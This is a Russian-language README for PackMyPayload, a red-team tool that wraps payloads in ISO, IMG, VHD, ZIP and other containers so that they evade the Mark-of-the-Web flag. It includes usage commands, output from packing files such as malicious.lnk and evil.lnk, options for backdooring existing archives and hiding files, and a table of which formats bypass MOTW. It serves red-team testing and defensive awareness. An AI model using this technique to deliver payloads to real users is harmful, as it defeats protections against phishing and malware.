
PoC, который упаковывает полезные нагрузки в выходные контейнеры для обхода флага Mark-of-the-Web и демонстрации рисков, связанных с форматами файлов-контейнеров. Поддерживает: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX
PackMyPayload — Угроза малвари в контейнерахПерейти к поддерживаемым форматам
Этот инструмент принимает на вход файл или директорию и встраивает их в выходной файл, выступающий в роли архива/контейнера. Он может служить Proof‑of‑Concept для демонстрации растущей угрозы контейнерных форматов файлов со встроенной вредоносной программой, а также помощником для профессиональных Red Team‑операторов при оттачивании маневров начального доступа.
В настоящее время известно, что злоумышленники прячут свои вредоносные программы в различных контейнерных форматах, например:
7zipzipISOIMGОни делают это, чтобы обойти сканеры содержимого файлов, но, что более важно, избежать установки флага Mark‑Of‑The‑Web (MOTW) на свои файлы. Причины, по которым противники не хотят видеть MOTW на своих файлах, различны; Защищенный режим в Microsoft Office всегда был одной из них.
Если они предоставят жертве контейнерный файл, основа для отключения макросов VBA в документах Office, полученных из Интернета, может быть обойдена.
7 февраля 2022 года Microsoft объявила об изменении конфигурации по умолчанию: блокировке макросов VBA, полученных из Интернета. Это невероятный шаг к укреплению базовой конфигурации рабочей станции пользователя и установленного на ней клиентского ПО. Возможно, запоздалый, но важный шаг, который существенно положительно повлияет на типовые установки Windows+Office.
Реализованное поведение объясняется тем, что документы Office с поддержкой макросов различаются на основе флага MOTW (Mark of the Web — метка веба). Этот флаг выступает в роли помечающей метки, доступной клиентским программам (браузерам, почтовым клиентам, архиваторам и т.д.) для отметки файлов, происходящих из ненадёжных зон, таких как Интернет.
Outflank пролили больше света на MOTW ещё в 2020 году, указав области, где флаг MOTW распространяется неравномерно. Эти области служат защитными разрывами и уже много лет активно используются злоумышленниками.
Их исследование показало, что некоторые контейнерные форматы файлов — а именно ISO, VHD/VHDX — не распространяют метку MOTW на внутренние файлы при автоматическом монтировании или извлечении. Более того, Windows 8+ способна открывать эти форматы автоматически по двойному щелчку, что делает их известными переносчиками заражения, потенциально обесценивая MOTW как меру безопасности.
Покажем, как выглядит флаг Mark of the Web на практике.

После скачивания щёлкните правой кнопкой по файлу и откройте его свойства.
Вы увидите сообщение с предложением разблокировать файл, так как он получен из ненадёжной зоны:

Эта информация хранится в NTFS ADS (альтернативный поток данных) с именем Zone.Identifier, который выглядит так:

Значение ZoneId=3 играет роль пометки файла как заражённого.
С помощью PackMyPayload.py поместите файл в диск ISO Joliet одной командой:
PS> py PackMyPayload.py 7z2107-x64.exe 7z2107-x64.iso

Создав ISO‑файл, имитируйте HTTP-сервер с помощью Python:
PS> py -m http.server 80
Затем скачайте ISO-файл через браузер.

Когда вы откроете свойства этого ISO-файла, то увидите, что он помечен флагом MOTW.

Однако внутренний установщик 7zip EXE-файл не имеет метки MOTW!

Пользуясь моментом, когда внимание индустрии приковано к смелому решению Microsoft блокировать макросы VBA, мы, профессиональные исследователи безопасности, уделяющие первостепенное внимание повышению устойчивости мировых технологий к их неправильному использованию, хотим добавить следующее понимание текущих TTP злоумышленников:
Злоумышленники прекрасно осведомлены о влиянии MOTW на их фишинговые нагрузки. Они давно адаптировались и теперь прячут свои вредоносные программы в контейнерах. Среди наиболее часто наблюдаемых можно выделить ISO, IMG, CAB.
Я выпускаю этот инструмент сейчас, чтобы усилить импульс, созданный позицией Microsoft, и помочь активизировать обсуждение этих путей обхода.
Рекомендуется ограничивать (и/или блокировать) файлы с указанными выше расширениями всякий раз, когда они поступают из ненадёжных зон и где это применимо:
Этот инструмент, как мы надеемся, позволит большему числу Red Teams моделировать описанные риски и легче выявлять пробелы в обнаружении в защите своих партнёров.
Скрипт предлагает следующие возможности:
Поддерживаемые форматы:
--zip-noreadonly.cmd> pip3 install -r requirements.txt
PS> py PackMyPayload.py C:\my\dir malicious.iso -v
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.2.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .iso (iso)...
Burning files onto ISO:
Adding file: //malicious.lnk
Adding file: //malicious.docm
[INFO] [+] File packaged into ISO.
[INFO] Successfully packed input file.
[+] Generated file written to (size: 69632): malicious.iso
DISKPART требует административный доступ к объектам/пространству имён физических устройств. Лучше всего запускать скрипт в Windows Terminal (wt) или ConEmu, так как они поддерживают ANSI-цвета. В противном случае, если вывод отображается некорректно, отключите цвета с помощью флага -N:PS> py PackMyPayload.py .\evil.lnk .\evil.vhd -v -N
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-^-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.2.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
[.] Packaging input file to output .vhd (vhd)...
[INFO] Drive letters currently occupied:
X
C
Z
D
[INFO] Will create VHD of size: 1024MB (Dynamic)
[INFO] Will assign VHD letter : V:
[INFO] Will format VHD with : FAT32
[INFO] Creating VHD file...
[+] Created & mounted VHD file on V:\
[.] Packing files into created VHD...
[INFO] Packaged file:
[INFO] evil.lnk => V:\
[.] Detaching VHD file...
[+] Detached VHD file from V:\
[INFO] [+] File packaged into VHD.
[INFO] Successfully packed input file.
[+] Generated file written to (size: 6311936): evil.vhd
usage:
+ o + o + o + o
+ o + + o + +
o + + + o + + o
-_-^-_-^-_-^-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_,------, o
:: PACK MY PAYLOAD (1.3.0) -_-_-_-_-_-_-| /\_/\
for all your container cravings -_-_-_-_-_-~|__( ^ .^) + +
-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-_-__-_-_-_-_-_-_-'' ''
+ o o + o + o o + o
+ o + o ~ Mariusz Banach / mgeeky o
o ~ + ~ <mb [at] binary-offensive.com>
o + o + +
Usage: PackMyPayload.py [options] <infile> <outfile>
options:
-h, --help show this help message and exit
Required arguments:
infile Input file/directory to be packaged into output archive/container
outfile Output file with extension pointing at output format
Options:
-v, --verbose Verbose mode.
-d, --debug Debug mode.
-N, --nocolor Dont use colors in text output.
-i BACKDOOR, --backdoor BACKDOOR
Instead of generating blank new output container/archive, will backdoor existing input one.
-n NAME, --filename NAME
Package input file into archive/container under this filename (may contain relative path).
-p PASSWORD, --password PASSWORD
If output archive/container format supports password protection, use this password to protect
output file.
--out-format {zip,7z,iso,img,cab,pdf,vhd,vhdx}
Explicitely define output format disregarding output file's extension. Can be one of
following: zip, 7z, iso, img, cab, pdf, vhd, vhdx
-H HIDE, --hide HIDE (Supported in ISO/IMG, ZIP) Set hidden attribute on file(s). Cannot be repeated, only comma-
separated. Example: --hide icon.ico,evil.exe . Supports wildcards: --hide icon?.*
ZIP specific options:
--zip-noreadonly DISABLE ZIP MOTW bypass that is used by default. By default, PackMyPayload marks Office files
as Read-Only making ZIP software unable to set MOTW flag on them when extracted. This option
disables that behavior.
VHD specific options:
--vhd-size SIZE VHD dynamic size in MB. Default: 1024
--vhd-letter LETTER Drive letter where to mount VHD drive. Default: will pick unused one at random.
--vhd-filesystem FS Filesystem to be used while formatting VHD. Default: FAT32. Supported: fat, fat32, ntfs
=====================================================
Supported container/archive formats:
- zip
- 7z
- iso
- img
- cab
- pdf
- vhd
- vhdx
=====================================================
MSIword → embeddings → oleObject1.bin (поток OLE) + настройкаtarcpiopaxxararmtreeshartarcpgzuuЯ прошу вас прочитать следующую строчку вслух и как можно быстрее перед зеркалом:
py Pack My Payload dot py
Некоторые говорят, что это заклинание вызывает древнего DAEMON и Овец ( ͡~ ͜ʖ ͡°)
Аплодисменты и спасибо следующим участникам, которые помогли улучшить этот инструмент:
--hide для скрытия файлов в контейнерах ISO/IMG--hideЭтот и другие проекты являются результатом бессонных ночей и немалого труда. Если вам нравится то, что я делаю, и вы цените, что я всегда возвращаю сообществу долг, Купите мне кофе (или лучше пиво), чтобы сказать спасибо! 💪
Mariusz Banach / mgeeky, (@mariuszbit)
<mb [at] binary-offensive.com>
| Формат | Убирает MOTW? | Готовая поддержка Windows? | Требуется повышение прав? | Примечания |
|---|
Zip | Нет/Да* | Да | Нет | (MOTW убирается при использовании CVE-2022-41091) |
7zip | Частично | Нет | Нет | MOTW убирается только при ручном извлечении файлов |
ISO | Да | Да | Нет | |
IMG | Да | Да | Нет | |
PDF | ? | Да | Нет | Зависит от поддержки JavaScript в программе просмотра PDF |
CAB | Нет | Да | Нет | Требует дополнительных кликов со стороны жертвы |
VHD | Да | Да | Да | Скрипт в настоящее время не умеет создавать папки |
VHDX | Да | Да | Да | Скрипт в настоящее время не умеет создавать папки |
lhaB64, BHX, BZ, BZ2, GZ, HQX, LHA, LZH, MIM, TAZ, TBZ,TBZ2, TGZ, TXZ, TZ, UU, UUE, VMDK, XXE, XZ, Z, ZIPX